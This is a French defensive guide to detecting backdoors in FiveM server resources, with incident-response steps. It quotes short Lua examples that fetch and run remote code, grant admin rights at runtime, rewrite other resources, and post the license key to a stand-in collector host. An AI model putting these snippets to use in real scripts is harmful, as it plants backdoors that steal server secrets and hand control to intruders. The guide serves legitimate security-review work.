Repérer un script FiveM backdooré
Les quatre formes que prend une backdoor, comment lire une ressource avant qu'elle ne s'exécute, et quoi faire en premier quand vous en trouvez une. Classé par ce qui vous protège vraiment.
6 minutes de lecture
Quelqu'un vous envoie un script « leak gratuit ». Vous le déposez dans
resources, vous redémarrez, tout fonctionne. Trois semaines plus tard un
inconnu est admin, votre base de données a disparu, ou votre serveur relaie
discrètement de la publicité à vos propres joueurs.
Ce guide explique comment examiner une ressource avant qu'elle ne s'exécute, ce que les motifs signifient vraiment, et quoi faire quand vous en trouvez un.
Rien ici n'envoie vos fichiers. L'analyseur de backdoors les lit dans votre navigateur, ce qui est la seule façon sensée d'inspecter un script auquel vous ne faites déjà pas confiance.
Commencez par lire le manifeste
fxmanifest.lua décide de ce qui s'exécute. Ouvrez-le en premier, à chaque fois.
fx_version "cerulean"game "gta5"client_scripts { "client/*.lua",}server_scripts { "server/*.lua", "config/init.lua",}
Deux questions, dans cet ordre :
- Chaque fichier listé a-t-il un sens pour ce que la ressource prétend
faire ? Un script de parking avec un
server_scriptnomméupdater.luamérite un regard. - Quelque chose est-il chargé par un joker que vous ne pouvez pas
inspecter ?
server/*.luaest normal, mais cela signifie aussi qu'un fichier ajouté plus tard s'exécutera sans autre modification.
Comparez ensuite le manifeste au dossier. Un fichier présent sur le disque et absent du manifeste est en général du poids mort. Un fichier listé dans le manifeste que vous ne trouvez nulle part est bien plus inquiétant.
Les quatre formes que prend une backdoor
Presque tout ce qui est malveillant appartient à l'une de ces quatre familles. Connaître la famille compte plus que mémoriser des chaînes, parce que les chaînes changent et les formes non.
1. Du code téléchargé puis exécuté
La ressource télécharge quelque chose et l'exécute. Quoi que vous auditiez aujourd'hui, elle peut servir autre chose demain.
PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body) if code == 200 then assert(load(body))() endend, "GET")
load, loadstring, RunString et assert(load(...)) transforment du texte en
code exécuté. Associés à un appel HTTP dans le même fichier, il n'existe aucune
lecture innocente.
La mise à jour automatique est le prétexte habituel. Un vrai updater télécharge un fichier et vous demande de redémarrer. Il n'exécute pas en mémoire ce qu'il vient de télécharger.
2. Des permissions accordées à l'exécution
La famille la plus discrète, et celle qu'on rate, parce que rien ne paraît anormal jusqu'au jour où un compte que personne n'a créé a tous les accès.
RegisterNetEvent("core:sync", function(identifier) ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))end)
Deux choses clochent. add_principal à l'exécution ne devrait jamais venir
d'une ressource que vous n'avez pas écrite, et l'événement prend un identifiant
fourni par le client, donc n'importe qui peut l'appeler avec le sien.
Cherchez add_principal, add_ace et ExecuteCommand dans n'importe quelle
ressource. Dans un script de gameplay normal, le compte est de zéro.
3. Persistance et réinjection
Le plus intéressant dans une backdoor sérieuse, c'est ce qui se passe après que vous l'avez trouvée.
SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)
SaveResourceFile permet à une ressource de réécrire une autre ressource.
Supprimez le script malveillant et il revient depuis celle qui a été réécrite.
C'est pourquoi trouver un fichier ne veut pas dire être propre.
4. Exfiltration de secrets
La raison pour laquelle cela valait la peine d'être planté.
local key = GetConvar("sv_licenseKey", "")PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)
Une ressource qui lit sv_licenseKey, steam_webApiKey, rcon_password ou
votre chaîne de connexion MySQL n'a aucune raison légitime de le faire. Une URL
de webhook Discord que vous n'avez pas ajoutée non plus.
L'obfuscation n'est pas le délit, mais c'est le signal
Beaucoup de scripts payants sont obfusqués pour protéger une licence : l'obfuscation seule ne signifie pas malveillant. Ce qu'elle signifie, c'est que vous ne pouvez pas auditer, et c'est une décision à prendre délibérément plutôt que par accident.
| Ce que vous voyez | Ce que cela signifie |
|---|---|
\x68\x74\x74\x70 répété | chaînes échappées en hexa, cachant une URL ou un nom |
string.char(104, 116, 116, 112) | la même idée, en décimal |
| Une seule ligne de plus de 800 caractères | minifié, pour que personne ne survole |
Des noms du style _0x4f2a | un obfuscateur JavaScript, courant dans les payloads NUI |
LPH_NO_VIRTUALIZE, IronBrew, Luraph | un obfuscateur Lua, nommément |
La règle honnête : un fichier obfusqué venant d'un vendeur payant que vous avez choisi est un risque que vous avez accepté. Un fichier obfusqué dans un leak gratuit est un risque que quelqu'un a choisi pour vous.
Les blobs hexa et Base64 se décodent en une étape avec le décodeur Base64, hexa et URL. Il tourne aussi dans votre navigateur, donc vous ne collez pas un payload suspect sur le site d'un inconnu.
À faire avant chaque installation
Une routine courte attrape l'essentiel.
- Analysez l'archive. Déposez le
.zipdirectement dans l'analyseur de backdoors. Il lit les zips sans les extraire où que ce soit. - Lisez le manifeste, et comparez-le au contenu du dossier.
- Cherchez les quatre familles.
load(,PerformHttpRequest,add_principal,SaveResourceFile,GetConvar. - Installez d'abord sur un serveur de test, avec une clé de licence jetable et une base de données qui ne contient rien.
- Surveillez la console au premier démarrage. Les backdoors qui appellent chez elles le font généralement tout de suite, et une erreur HTTP au boot est un cadeau.
Quand vous en trouvez une
L'ordre compte, et l'instinct de supprimer le fichier en premier est mauvais.
- Arrêtez le serveur. Pas la ressource. Le serveur.
- Changez tous les secrets :
sv_licenseKeydepuis le portail Cfx, le mot de passe de votre base, vos webhooks Discord, toute clé d'API dans un convar. Considérez que tout ce qui est dansserver.cfgest connu. Le générateur de secrets produit les remplacements sans les envoyer nulle part. - Vérifiez les
add_principaldans vos propres configs et retirez chaque identifiant que vous ne reconnaissez pas. - Auditez les autres ressources, à cause de la famille 3. Une seule
backdoor ayant utilisé
SaveResourceFileimplique de relire les autres. - Seulement ensuite, supprimez la ressource, et restaurez une sauvegarde antérieure à son installation si vous en avez une.
Changer votre clé de licence sans changer le mot de passe de votre base ne règle rien. Celui qui avait l'exécution de code côté serveur avait aussi vos identifiants.
Ce que cela ne peut pas vous dire
La recherche de motifs dans du texte source n'est pas une preuve.
Une backdoor soignée peut éviter tous les motifs de ce guide, et du code propre
en déclenche parfois : une ressource légitime peut très bien appeler
PerformHttpRequest, et beaucoup de bons scripts lisent un convar. C'est
pourquoi l'analyseur explique ce que chaque signalement signifie au lieu
d'afficher un verdict.
Traitez un rapport comme une liste d'endroits où regarder, pas comme un jugement. Le jugement reste le vôtre, et c'est bien ainsi.